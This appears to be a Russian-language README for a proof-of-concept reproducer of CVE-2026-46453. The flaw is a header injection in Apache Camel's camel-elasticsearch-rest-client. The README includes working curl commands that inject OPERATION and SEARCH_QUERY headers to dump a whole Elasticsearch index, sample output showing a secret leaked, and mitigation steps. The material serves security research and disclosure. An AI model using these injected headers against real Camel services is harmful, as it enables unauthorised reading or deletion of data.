
Репродуктор для CVE-2026-46453 — Apache Camel camel-elasticsearch-rest-client: инъекция через заголовки без префикса (переопределение операции/запроса через входящие HTTP-заголовки)
Этот проект демонстрирует инъекцию заголовков сообщений / обход авторизации в компоненте
camel-elasticsearch-rest-client Apache Camel, отслеживаемую как CVE-2026-46453. Компонент читает несколько
заголовков Exchange для управления своим поведением — SEARCH_QUERY, OPERATION, INDEX_NAME, INDEX_SETTINGS, ID. В
затронутых версиях эти строковые значения заголовков являются обычными именами без префикса ("OPERATION",
"SEARCH_QUERY", …) а не именами с префиксом Camel, которые использует каждый другой компонент. Входящий
HttpHeaderFilterStrategy Camel блокирует только имена, начинающиеся с Camel/camel, поэтому эти заголовки проходят
входящий фильтр без изменений. Когда маршрут открывает HTTP-точку входа (например, platform-http) перед
producer'ом elasticsearch-rest-client, недоверенный HTTP-клиент может установить эти заголовки напрямую и переопределить
запрос и операцию, настроенные автором маршрута — прочитать весь индекс, удалить документы и т.д. Никакие
учётные данные не требуются.
Уведомление: https://camel.apache.org/security/CVE-2026-46453.html
Тот же класс инъекции заголовков, что и CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 и CVE-2026-47323 — все они вызваны компонентами, читающими входящие заголовки, которые стандартный
HeaderFilterStrategyне блокирует, потому что имена не начинаются с префиксаCamel.
// ElasticSearchRestClientConstant - affected 4.18.2 (unprefixed values)
public static final String ID = "ID";
public static final String SEARCH_QUERY = "SEARCH_QUERY";
public static final String INDEX_SETTINGS = "INDEX_SETTINGS";
public static final String INDEX_NAME = "INDEX_NAME";
public static final String OPERATION = "OPERATION";
// ElasticsearchRestClientProducer#resolveOperation - the header wins over the endpoint's configured operation
ElasticsearchRestClientOperation operation
= exchange.getMessage().getHeader(OPERATION, endpoint.getOperation(), ElasticsearchRestClientOperation.class);
HttpHeaderFilterStrategy блокирует только Camel*/camel*, поэтому входящий HTTP-заголовок OPERATION: SEARCH (и
SEARCH_QUERY: {...}) проходит и переопределяет operation=GET_BY_ID автора маршрута. Исправление
(4.14.8 / 4.18.3 / 4.21.0) переименовывает значения в CamelElasticsearchOperation, CamelElasticsearchSearchQuery
и т.д., так что входящий фильтр блокирует их (имена полей Java не изменены).
from("platform-http:/products")
.to("elasticsearch-rest-client:reproducer?hostAddressesList=<host:port>&operation=GET_BY_ID&indexName=products");
// route author intends a single, safe operation: fetch one document by id
HTTP-запрос атакующего с OPERATION: SEARCH + SEARCH_QUERY: {"query":{"match_all":{}}} переопределяет это
и выгружает весь индекс.
Жертва — это маршрут Camel; атакующий — любой HTTP-клиент, который может подключиться к конечной точке platform-http. Репродуктор запускает реальный Elasticsearch в Docker и приложение Camel на хосте (приложение общается с ES через проброшенный порт).
CVE-2026-46453/
├── pom.xml # camel-platform-http + camel-elasticsearch-rest-client 4.18.2
├── docker-compose.yml # Elasticsearch 8.15.3 (security disabled)
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── EsSeeder.java # seeds a "public" and a "secret" document
│ ├── VictimRoute.java # platform-http -> elasticsearch-rest-client (GET_BY_ID)
│ └── ExploitController.java # attacker: legit GET_BY_ID vs injected OPERATION=SEARCH
└── resources/
└── application.properties
docker compose up -d
# wait until ready:
curl -s -o /dev/null -w "%{http_code}\n" http://localhost:9200/ # -> 200
mvn clean package -DskipTests
java -jar target/cve-2026-46453-elasticsearch-0.0.1-SNAPSHOT.jar
# the app seeds the 'products' index with a public and a secret document on startup
curl -s http://localhost:8080/exploit/attack
# === 1) Legitimate request (ID=public-1) ===
# {"name":"Public Widget","visibility":"public"} secret leaked: false
# === 2) Attack request (OPERATION=SEARCH, SEARCH_QUERY=match_all) ===
# [ ...public..., {"name":"CLASSIFIED-LAUNCH-CODES", ...} ] secret leaked: true
#
# >>> Header-injection proof — attacker overrode the operation and read the whole index: true
Вы также можете сделать это вручную — инъецированные заголовки проходят прямо через входящий фильтр platform-http:
# legit: route author's GET_BY_ID returns only the public doc
curl -s -H "ID: public-1" http://localhost:8080/products
# attack: override the operation and dump the whole index (incl. the secret)
curl -s -H "OPERATION: SEARCH" -H 'SEARCH_QUERY: {"query":{"match_all":{}}}' http://localhost:8080/products
docker compose down
Любой маршрут, открывающий HTTP-точку входа перед producer'ом elasticsearch-rest-client. Атакующий устанавливает
OPERATION, SEARCH_QUERY, INDEX_NAME, INDEX_SETTINGS или ID во входящем HTTP-запросе; они обходят
входящий фильтр префикса Camel и достигают producer'а.
HttpHeaderFilterStrategy (блокирует только Camel*), который не охватывает заголовки ES без префикса.Обновитесь до 4.14.8 / 4.18.3 / 4.21.0 (CAMEL-23508), где значения заголовков получают префикс Camel, поэтому
входящий фильтр блокирует их.
До обновления удаляйте затронутые заголовки из недоверенных входящих сообщений перед producer'ом:
.removeHeaders("SEARCH_QUERY|OPERATION|INDEX_NAME|INDEX_SETTINGS|ID")
или примените собственный HeaderFilterStrategy, который блокирует эти имена.
Этот репродуктор предоставлен только для исследований безопасности и авторизованного тестирования, для публично раскрытой и исправленной уязвимости. Не используйте его против систем без явного разрешения.
| Свойство | Значение |
|---|
| Компонент | camel-elasticsearch-rest-client |
| Затронутые константы | ElasticSearchRestClientConstant — ID, SEARCH_QUERY, INDEX_SETTINGS, INDEX_NAME, OPERATION (значения без префикса) |
| CWE | CWE-20 (Некорректная проверка входных данных) + CWE-639 (Обход авторизации через управляемый пользователем ключ) |
| Воздействие | Недоверенный HTTP-клиент переопределяет операцию/запрос ES — чтение/удаление/экфильтрация документов |
| Затронутые версии | с 4.3.0 до 4.14.8, с 4.15.0 до 4.18.3, с 4.19.0 до 4.21.0 |
| Исправленные версии | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23508 |
| Сообщил | Yu Bao (PayPal) |